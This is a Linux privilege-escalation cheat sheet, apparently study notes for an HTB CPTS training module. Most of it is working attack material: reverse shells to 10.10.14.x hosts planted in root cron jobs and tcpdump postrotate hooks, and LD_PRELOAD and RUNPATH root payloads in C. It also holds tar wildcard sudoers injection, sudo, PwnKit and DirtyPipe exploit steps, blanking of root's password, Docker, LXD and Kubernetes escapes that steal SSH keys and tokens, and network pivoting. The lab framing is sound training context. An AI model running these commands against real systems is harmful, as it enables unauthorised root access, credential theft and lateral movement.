Linux Privilege Escalation — CPTS Cheat Sheet fas:ClipboardList
[!dashboard] Workflow navigation Dashboard: HTB Pentest Workflow · Previous: Common Applications
Next: Windows PrivEsc · Simple appendix: Linux PrivEsc Cheat Sheet
Source module: 25 · Linux Privilege Escalation · Attack-flow stage: 12 - Stage 09 - Privilege Escalation
Summary ris:Eye
From a low-privilege shell to root. The loop is always the same: enumerate broadly → identify the one vector → exploit it precisely. Kick off the bundled automated enum (§0) in the first minutes, then work the vectors manually. Prefer the least-invasive path (SUID/capability/sudo misconfig) over a kernel exploit, which can panic the box. This card walks the module’s vectors: initial situational awareness, cron/scheduled-task abuse, credential hunting, restricted-shell escape + env-var abuse, sudo & privileged-group abuse, Docker/Kubernetes escapes, kernel/SUID/SGID/capabilities, and the “remaining” library-hijack/NFS/tmux/logrotate vectors — then turning the rooted host into a pivot.
[!danger]+ HTB-Only Boundary
fas:TriangleExclamation
- Authorized labs/engagements only. Kernel exploits (esp. CVE-2022-25636) can corrupt the kernel / force a reboot — get sign-off; prefer SUID/cap/sudo paths.
- When weaponising a script a root job runs, append, never overwrite, and keep a backup so the legitimate task still completes.
- Clean up droppers (
/tmp/sh, fake.so/.py, rogue SUID binaries) — they’re live local backdoors.
[!tip]+ Live command libraries
- GTFOBins — search a Linux/Unix binary, then select the function that matches the real context:
sudo, SUID, capabilities, shell, file read/write or another permitted primitive.- WADComs — command-focused Windows and Active Directory companion for later lateral-movement or cross-platform work.
- LOLBAS — Windows-native binary, script and library companion.
A listed binary is not automatically exploitable. Match the page’s required permissions and invocation to
sudo -l, SUID/capability state, file ACLs and installed version.
0 · Automated enum — run these first fas:Bolt
Bundled, hash-checked copies live in attachments/ — no internet needed on the target. Transfer, verify, run, and tee the output so you can re-grep it after the scrollback is gone.
[!important]+ Automated enum — run these first
fas:Bolt
- LinPEAS script —
[linpeas.sh](/downloads/pentest-workflow/linpeas.sh) ([SHA-256](/downloads/pentest-workflow/linpeas.sh.sha256) · [GPG signature](/downloads/pentest-workflow/linpeas.sh.sha256.asc))chmod +x linpeas.sh && ./linpeas.sh -a | tee linpeas.out-aruns all checks (noisier and slower — worth it in a lab). Expect noise; afterwards grep the[+]sections and the red/yellow highlights instead of reading top to bottom.- LinPEAS static binary —
[linpeas_linux_amd64](/downloads/pentest-workflow/linpeas_linux_amd64) ([SHA-256](/downloads/pentest-workflow/linpeas_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/linpeas_linux_amd64.sha256.asc))— for minimal targets where the script chokes (no bash/coreutils, weird BusyBox).chmod +x linpeas_linux_amd64 && ./linpeas_linux_amd64 | tee linpeas.out.- pspy —
[pspy64](/downloads/pentest-workflow/pspy64) ([SHA-256](/downloads/pentest-workflow/pspy64.sha256) · [GPG signature](/downloads/pentest-workflow/pspy64.sha256.asc))(or[pspy32](/downloads/pentest-workflow/pspy32) ([SHA-256](/downloads/pentest-workflow/pspy32.sha256) · [GPG signature](/downloads/pentest-workflow/pspy32.sha256.asc))on 32-bit targets):Watches every process + filesystem events without creds —./pspy64 -pf -i 1000UID=0lines are root jobs. This is how you catch the cron jobs and timers §2 describes thatcrontab -lnever shows you. Leave it running in a second pane while you enumerate.Run all three in parallel: LinPEAS tee’d to a file, pspy live, and manual
sudo -l/ SUID /getcapchecks while they churn.
Transfer methods reminder:
# attacker
python3 -m http.server 8000
# target
wget http://10.10.14.3:8000/linpeas.sh -O /tmp/linpeas.sh
curl -o /tmp/pspy64 http://10.10.14.3:8000/pspy64
# or, with SSH creds
scp linpeas.sh pspy64 user@$IP:/tmp/
Hash check — verify staged binaries against [SHA256SUMS](/downloads/pentest-workflow/SHA256SUMS) ([GPG signature](/downloads/pentest-workflow/SHA256SUMS.asc)) before executing:
sha256sum linpeas.sh linpeas_linux_amd64 pspy64
grep -E 'linpeas|pspy' SHA256SUMS.txt # eyeball-compare, or:
sha256sum --ignore-missing -c SHA256SUMS.txt # OK / FAILED per file
1 · Initial enumeration fas:Terminal
# First five on any new shell
whoami; id; hostname; ip a; sudo -l
# OS / kernel (feed to exploit-suggester)
cat /etc/os-release; uname -a; cat /proc/version
cat /etc/lsb-release; lscpu; cat /etc/shells
# PATH / env / mounts / net
echo $PATH; env
lsblk; cat /etc/fstab; route; cat /etc/hosts; arp -a
# Users, groups, readable hashes
cat /etc/passwd; grep "sh$" /etc/passwd
cat /etc/group; getent group sudo
cat /etc/passwd | head -n1 # a real hash here (not 'x') = crack it now
# Homes, hidden files, temp, processes, history
ls -la /home/*/
find / -type f -name ".*" -exec ls -l {} \; 2>/dev/null | grep <user>
ls -l /tmp /var/tmp /dev/shm
ps aux | grep root; w; lastlog; history
[!info]+ Hash prefixes & GTFOBins candidate list
$1$=MD5 ·$5$=SHA-256 ·$6$=SHA-512 ·$2a$=BCrypt ·$argon2i$=Argon2.find /usr/bin /usr/sbin /bin /sbin /usr/local/bin \ -maxdepth 1 -type f -executable -printf '%f\n' 2>/dev/null \ | sort -u | tee installed-binaries.txtSearch interesting names at GTFOBins, especially anything present in
sudo -l, SUID/SGID results orgetcap -r /. Scraping the website into a loop is brittle and loses the function-specific prerequisites shown on each entry.
[!tip]+ Automated enumeration
fas:LightbulbLinPEAS (run first — kernel vs exploit-DB, SUID/SGID vs GTFOBins, caps, world-writable Python/lib paths,RUNPATH,no_root_squash, creds) · linux-smart-enumeration (./lse.sh -l1, second opinion) · pspy / pspy64 (root cron/timing without root) · linux-exploit-suggester (feedsuname -r) · Lynis (./lynis audit system). Bundled offline copies + transfer/hash-check workflow: see §0. Note active controls: AppArmor, SELinux, Fail2ban, ufw.
2 · Cron & scheduled-task abuse fas:Terminal
# Enumerate
ls -la /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.d/
crontab -l
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null # world-writable files
# Confirm a root job live (UID=0 in output) — pspy catches jobs crontab -l never shows
./pspy64 -pf -i 1000
PATH abuse — hijack an unqualified command a root cron calls:
echo $PATH
PATH=.:${PATH}; export PATH
echo 'echo "PATH ABUSE!!"' > ls && chmod +x ls
tar wildcard injection (cron does tar -zcf backup.tar.gz * in a writable dir):
echo 'echo "htb-student ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh
echo "" > "--checkpoint-action=exec=sh root.sh"
echo "" > --checkpoint=1
# after the job fires:
sudo -l && sudo su # (root) NOPASSWD: ALL
Writable backup script → reverse shell (append, keep a backup):
echo 'bash -i >& /dev/tcp/10.10.14.3/443 0>&1' >> /dmz-backups/backup.sh
nc -lnvp 443
systemd services and timers
Cron is not the only root scheduler. A timer activates a service, and the useful write may be in the unit, an EnvironmentFile=, the ExecStart= script, or a parent directory.
# Find the trigger, then resolve the service it activates.
systemctl list-timers --all
systemctl list-unit-files --type=timer --type=service
systemctl cat <name>.timer
systemctl cat <name>.service
# Pull the fields that decide whether the path is exploitable.
systemctl show <name>.service \
-p User \
-p Group \
-p ExecStart \
-p EnvironmentFiles \
-p FragmentPath
# Check unit search paths and every component of the executed path.
systemd-path systemd-system-unit
find /etc/systemd/system /usr/local/lib/systemd/system \
-type f -writable -ls 2>/dev/null
namei -l /path/from/ExecStart
# Writable unit check — a writable .service/.timer = rewrite ExecStart= and trigger it.
find /etc/systemd/system /lib/systemd/system /usr/lib/systemd/system /run/systemd/system \
-type f \( -name '*.service' -o -name '*.timer' \) -writable 2>/dev/null
# If 'sudo systemctl daemon-reload' or 'sudo systemctl start <unit>' is permitted:
# reload + start fires your edited ExecStart immediately. Otherwise wait for the timer
# or the next reboot — and keep the original unit backed up either way.
[!tip] Exploit condition You need a privileged unit plus a file or directory you can modify, or a permitted
sudo systemctl start/restartaction. Back up the file, preserve its legitimate behavior, record the original hash, and restore it after proving execution.
3 · Credential & config hunting fas:Terminal
Application configurations
# Start with likely app roots instead of searching the whole filesystem.
find /var/www /opt /srv /home -type f \
\( -name 'wp-config.php' -o -name '.env' -o -name 'configuration.php' \
-o -name 'settings.php' -o -name 'web.config' \) \
-readable -print 2>/dev/null
# Search only readable config-like files in high-value roots.
find /etc /opt /srv /var/www /home -type f \
\( -name '*.conf' -o -name '*.config' -o -name '*.ini' \
-o -name '*.yml' -o -name '*.yaml' -o -name '.env' \) \
-readable -print0 2>/dev/null |
xargs -0 grep -nIiE 'pass(word)?|secret|token|api[_-]?key|connection' 2>/dev/null
SSH and shell history
# SSH material and lateral targets.
ls -la ~/.ssh
sed -n '1,120p' ~/.ssh/config ~/.ssh/known_hosts 2>/dev/null
# Current history, then common database/shell history files.
history
find /home /root -type f \
\( -name '.*history' -o -name '*_history' -o -name '*_hist' \) \
-readable -ls 2>/dev/null
Deeper secret mining across .git: trufflehog, gitleaks.
Process environments and open descriptors
Long-running services sometimes receive secrets through environment variables or keep deleted configuration files open. Access to another process’s /proc/<pid> data is permission-controlled, so only inspect entries the current identity may read.
ps eww -u "$USER"
find /proc/[0-9]*/environ -readable -type f 2>/dev/null
for env_file in /proc/[0-9]*/environ; do
[ -r "$env_file" ] || continue
strings "$env_file"
done |
grep -Ei 'pass(word)?|secret|token|api[_-]?key|database_url|aws_'
# Deleted-but-open files and interesting descriptors.
lsof -nP 2>/dev/null | grep -i deleted
find /proc/[0-9]*/fd -lname '*deleted*' -ls 2>/dev/null
4 · Restricted shell escape & env-var abuse fas:Terminal
Restricted shells: rbash/rksh/rzsh. Escape via injection, substitution, chaining (;/|), env-var modification, functions.
ls -l `pwd` # command substitution
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh # GTFOBins escape
[!bug]+ LD_PRELOAD (sudo
env_keep+=LD_PRELOAD)sudo -lshowsenv_keep+=LD_PRELOAD.root.c:#include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash"); }gcc -fPIC -shared -o root.so root.c -nostartfiles sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restartWorks even against absolute-path sudoers entries.
5 · Sudo rights & privileged-group abuse fas:Terminal
[!important]+
sudo -lis always the first check Run it before LinPEAS finishes scrolling. Any entry — even “boring” ones likeopenssl,tarorfind— maps to a GTFOBins function. Also noteenv_keep(LD_PRELOAD, §4),SETENV, and!authenticate/NOPASSWD.
sudo -l # what can I run as another user?
sudo -V | head -n1 # exact version for CVE matching
aa-status # check AppArmor before the tcpdump path
id # note groups: sudo / lxd / docker / disk / adm
GTFOBins — for any binary in sudo -l, check the matching sudo, SUID, capability, shell or file-access function (e.g. sudo find / -exec /bin/sh \; -quit, sudo vim -c ':!/bin/sh', sudo less → !/bin/sh, awk 'BEGIN {system("/bin/sh")}').
File read via sudo — no shell required. Anything with a read primitive leaks root files; openssl is the classic:
LFILE=/root/.ssh/id_rsa
sudo openssl enc -in "$LFILE" # prints root's private key to stdout
# attacker side: save it, chmod 600 id_rsa, ssh -i id_rsa root@$IP
tcpdump -z postrotate:
# /tmp/.test:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 443 >/tmp/f
sudo /usr/sbin/tcpdump -ln -i ens192 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
nc -lnvp 443 # "Permission denied" in output is misleading — payload still ran
Sudo CVEs:
# CVE-2021-3156 (Baron Samedit) — heap overflow in sudoedit; sudo 1.8.2–1.9.5p2,
# no sudoers entry needed; target index must match /etc/lsb-release.
# Triggered via sudoedit (`sudoedit -s /` or `sudoedit -i`).
# Quick check: `sudoedit -s /` → "sudoedit: /: not a regular file" = vulnerable, usage error = patched.
git clone https://github.com/blasty/CVE-2021-3156.git && cd CVE-2021-3156 && make
./sudo-hax-me-a-sandwich # then ./sudo-hax-me-a-sandwich <index>
# CVE-2023-22809 (sudoedit bypass) — sudo <1.9.12p2 AND a sudoedit entry in sudo -l;
# EDITOR env injection appends an arbitrary file to the allowed list.
EDITOR='vim -- /etc/sudoers' sudoedit -s /etc/hosts
# CVE-2025-32463 ("chwoot") — sudo 1.9.14–1.9.17, no sudoers entry needed; `sudo -R <dir>`
# resolves paths inside an attacker-controlled chroot and loads a malicious nsswitch.conf → root.
sudo -V | head -n1 # 1.9.14–1.9.17 = candidate; PoC: exploit-db 52352
# CVE-2019-14287 (UID -1 bypass) — needs one permitted command, sudo < 1.8.28
sudo -u#-1 id
# CVE-2021-4034 (PwnKit / pkexec) — no sudoers/group needed
git clone https://github.com/arthepsy/CVE-2021-4034.git && cd CVE-2021-4034
gcc cve-2021-4034-poc.c -o poc && ./poc
LXD/LXC group (full escape):
lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
lxc init alpine r00t -c security.privileged=true
lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true
lxc start r00t && lxc exec r00t /bin/sh
# inside: /mnt/root/root = host /root (shadow, ssh keys)
disk group → debugfs /dev/sda1 reads/writes the whole FS as root. adm → read all /var/log.
6 · Docker escape fas:Terminal
# Bind-mounted host dir inside the container (e.g. /hostsystem)
cat /hostsystem/root/.ssh/id_rsa
# Docker socket reachable from the container
/tmp/docker -H unix:///app/docker.sock run --rm -d --privileged -v /:/hostsystem main_app
/tmp/docker -H unix:///app/docker.sock exec -it <id> /bin/bash
# 'docker' group on the host = root
docker run -v /root:/mnt -it ubuntu # or mount /etc for /etc/shadow
# Writable /var/run/docker.sock (no group) — fastest host shell
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it ubuntu chroot /mnt bash
Enum/escape helper: deepce.
7 · Kubernetes escape fas:Terminal
Ports: etcd 2379/2380 · API server 6443 · Kubelet API 10250 · read-only Kubelet 10255.
curl https://$IP:6443 -k # system:anonymous 403 = expected
curl https://$IP:10250/pods -k | jq . # Kubelet often allows anon
# kubeletctl — enumerate, find RCE, exec
kubeletctl -i --server $IP pods
kubeletctl -i --server $IP scan rce
kubeletctl -i --server $IP exec "id" -p nginx -c nginx
# Steal the service-account token + CA
kubeletctl -i --server $IP exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx | tee k8.token
kubeletctl --server $IP exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx | tee ca.crt
# What can this token do? then deploy a host-mounting pod
export token=$(cat k8.token)
kubectl --token=$token --certificate-authority=ca.crt --server=https://$IP:6443 auth can-i --list
kubectl --token=$token --certificate-authority=ca.crt --server=https://$IP:6443 apply -f privesc.yaml
privesc.yaml red flags to weaponise: hostPath: path: / + hostNetwork: true; then read /root/root/.ssh/id_rsa from the mounted host. Recon: kube-hunter; compliance: kube-bench.
8 · Kernel exploits, SUID/SGID & capabilities fas:Terminal
[!warning]+ Kernel sploits are the last resort
fas:TriangleExclamationWork the config / service / credential paths first — a wrong kernel exploit panics the box, burns your shell, and reboots away your planted files. Always matchuname -r+ distro against the CVE window before compiling on-target:
- DirtyPipe (CVE-2022-0847) — kernels 5.8–5.16.11 unpatched (fixed in 5.16.11 / 5.15.25 / 5.10.102).
- PwnKit (CVE-2021-4034) — polkit
pkexec; ~every distro shipped before Jan 2022; not kernel-version-dependent, and far less likely to panic than a kernel bug.- overlayfs — CVE-2021-3493 (Ubuntu overlayfs, pre-Apr 2021) / CVE-2023-0386 (kernels 5.11–6.2); needs unprivileged user namespaces (
sysctl kernel.unprivileged_userns_clone).
# Generic workflow — compile ON the target
uname -a; cat /etc/lsb-release
gcc kernel_exploit.c -o kernel_exploit && ./kernel_exploit
# Dirty Pipe — CVE-2022-0847 (kernels 5.8–5.16.11 unpatched)
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
cd CVE-2022-0847-DirtyPipe-Exploits && bash compile.sh
./exploit-1 # rewrites /etc/passwd, pops root
./exploit-2 /usr/bin/sudo # hijacks a SUID binary → /tmp/sh (clean this up)
| Netfilter CVE | Kernels | Note |
|---|---|---|
| CVE-2021-22555 | 2.6–5.11 | heap OOB via setsockopt |
| CVE-2022-25636 | 5.4–5.6.10 | may corrupt kernel / reboot |
| CVE-2023-32233 | ≤6.3.1 | UAF in nf_tables anon sets |
# SUID / SGID discovery
find / -perm -4000 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null # SUID
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null # SGID
# Capabilities enumeration + cap_dac_override via vim
getcap -r / 2>/dev/null
find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;
echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd # blanks root's password
Caps that lead to root: cap_setuid, cap_setgid, cap_sys_admin, cap_dac_override, cap_dac_read_search. Common weaponisations:
| Capability | Seen on | Path to root |
|---|---|---|
cap_setuid+ep | python / perl | ./python3 -c 'import os; os.setuid(0); os.system("/bin/sh")' · ./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";' |
cap_dac_read_search+ep | tar | tar xf /root/root.txt -I '/bin/sh -c "cat 1>&2"' — reads any file regardless of permissions |
cap_dac_override+ep | vim | the /etc/passwd blank-root edit above |
Also: screen 4.5.0 SUID → writes /etc/ld.so.preload → /tmp/rootshell.
9 · Remaining vectors fas:Terminal
Shared-object hijack (RUNPATH):
ldd payroll; readelf -d payroll | grep PATH # RUNPATH: [/development] (world-writable = vuln)
// src.c — reimplement the exact undefined symbol the binary calls (e.g. dbquery)
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void dbquery() { printf("Malicious library loaded\n"); setuid(0); system("/bin/sh -p"); }
gcc src.c -fPIC -shared -o /development/libshared.so && ./payroll
Python library hijacking (three flavours):
# (a) writable module file — inject os.system('id') into the real function
ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py # world-writable?
sudo /usr/bin/python3 ./mem_status.py
# (b) path priority — drop a fake module in a higher-priority world-writable dir
python3 -c 'import sys; print("\n".join(sys.path))'
# fake psutil.py: def virtual_memory(): os.system('id')
# (c) sudo SETENV → PYTHONPATH
sudo PYTHONPATH=/tmp/ /usr/bin/python3 ./mem_status.py
Writable account and policy files — a direct path that automated scripts can bury in noise:
ls -l /etc/passwd /etc/shadow /etc/group /etc/sudoers
for account_file in /etc/passwd /etc/shadow /etc/group /etc/sudoers; do
[ -w "$account_file" ] && printf 'WRITABLE %s\n' "$account_file"
done
[!warning] Preserve authentication state A writable account database proves a critical control failure. If exploitation is required, take a timestamped backup and use a reversible test account or authorized sudoers drop-in—never blank or replace the real root credential.
NFS no_root_squash (from an attacker box with real root):
showmount -e $IP; cat /etc/exports # /tmp *(rw,no_root_squash)
# shell.c: int main(void){ setuid(0); setgid(0); system("/bin/bash"); }
gcc shell.c -o shell
sudo mount -t nfs $IP:/tmp /mnt && cp shell /mnt && chmod u+s /mnt/shell
# on target (low-priv): ./shell
tmux session hijack (member of the owner’s group):
ps aux | grep tmux # root ... tmux -S /shareds new -s debugsess
tmux -S /shareds # attaches to root's session
logrotten (writable log + logrotate 3.8.6/3.11.0/3.15.0/3.18.0):
git clone https://github.com/whotwagner/logrotten.git && cd logrotten && gcc logrotten.c -o logrotten
echo 'bash -i >& /dev/tcp/10.10.14.2/9001 0>&1' > payload
nc -nlvp 9001 & ./logrotten -p ./payload /tmp/tmp.log
10 · After root — pivot the host fas:NetworkWired
[!tip]+ The rooted box is a pivot, not the finish line
fas:NetworkWiredRoot often exposes a second NIC or an internal subnet — checkip a,ip r,arp -a. Stage a pivot agent fromattachments/:chisel —
[chisel_linux_amd64](/downloads/pentest-workflow/chisel_linux_amd64) ([SHA-256](/downloads/pentest-workflow/chisel_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/chisel_linux_amd64.sha256.asc))— fast reverse SOCKS:# attacker (listens): chisel server -p 9001 --reverse # rooted target: ./chisel_linux_amd64 client 10.10.14.3:9001 R:socks # attacker: socks5 on 127.0.0.1:1080 → proxychains nmap 10.129.x.0/24ligolo-ng —
[ligolo-ng_agent_linux_amd64.tar.gz](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256) · [GPG signature](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256.asc))— full routed interface (better for scanners that dislike SOCKS):# attacker: ./proxy -selfcert -laddr 0.0.0.0:11601 # target: ./agent -connect 10.10.14.3:11601 -ignore-cert # attacker (proxy console): session → ifcreate → start, then add a route to the internal subnetEnumerate the new segment’s services with Sheet 01, and get a stable shell first if the agent keeps dropping — Sheet 06.
CVE quick index ris:GlobalLine
| CVE | Component | Prereq | Tool |
|---|---|---|---|
| CVE-2021-4034 (PwnKit) | polkit pkexec | none | arthepsy/CVE-2021-4034 |
| CVE-2021-3156 (Baron Samedit) | sudoedit 1.8.2–1.9.5p2 | none | blasty/CVE-2021-3156 |
| CVE-2023-22809 | sudoedit <1.9.12p2 | sudoedit entry in sudo -l | EDITOR env injection |
| CVE-2025-32463 (“chwoot”) | sudo 1.9.14–1.9.17 | none | exploit-db 52352 |
| CVE-2019-14287 | sudo <1.8.28 | 1 sudoers entry | sudo -u#-1 |
| CVE-2022-0847 (Dirty Pipe) | kernel 5.8–5.16.11 | none | DirtyPipe-Exploits |
| CVE-2023-0386 | overlayfs, kernel 5.11–6.2 | unpriv. userns | PoC on GitHub |
| CVE-2021-22555 | kernel 2.6–5.11 | none | google/security-research PoC |
| CVE-2016-5195 (Dirty COW) | kernel <4.8 | none | dirtycow PoC |
Lessons Learned & gotchas fas:Lightbulb
- Enumerate before you exploit. LinPEAS +
sudo -l+find SUID+getcapanswers most boxes; pspy catches the timing-based ones. - Automated first, but tee it. Run the bundled
linpeas.sh/pspy64(§0) in the first minutes,teeeverything to a file, and hash-check transferred binaries againstSHA256SUMS.txtbefore executing them. - Least-invasive first. SUID/capability/sudo/group beats a kernel exploit — kernels panic, and some Netfilter CVEs reboot the host. Match
uname -rto the CVE window before compiling anything. - Append, don’t overwrite. Weaponising a root-run script means adding a line and keeping the original intact, or you break the job and tip off defenders.
- Every credential is reusable. Try discovered passwords against all users/services/hosts;
known_hosts+arp -aare your lateral map. - Clean up. Rogue SUID binaries, fake
.so/.py,/tmp/sh, sudoers edits — remove them all. - Check 10250 even when 6443 says no. Kubelet often allows anonymous access when the API server is locked down.
- Root is a beachhead. Check for a second NIC immediately and stage chisel or ligolo-ng (§10) before the box resets.
References fas:BookOpen
- HTB Academy — Linux Privilege Escalation
- GTFOBins · PEASS-ng (LinPEAS)
- linux-exploit-suggester · pspy
- PayloadsAllTheThings — Linux Privilege Escalation
- systemd unit documentation · Linux kernel
/procdocumentation - HackTricks — Linux Privilege Escalation
- Sudo advisory — CVE-2025-32463 (chroot)
- chisel · ligolo-ng
- WADComs — Windows/AD commands · LOLBAS — Windows living-off-the-land binaries
[!navigation] Continue the CPTS workflow Previous: Attacking Common Applications
Dashboard: HTB Pentest Workflow
#HTB #CPTS #LinuxPrivEsc #PrivEsc #PostExploitation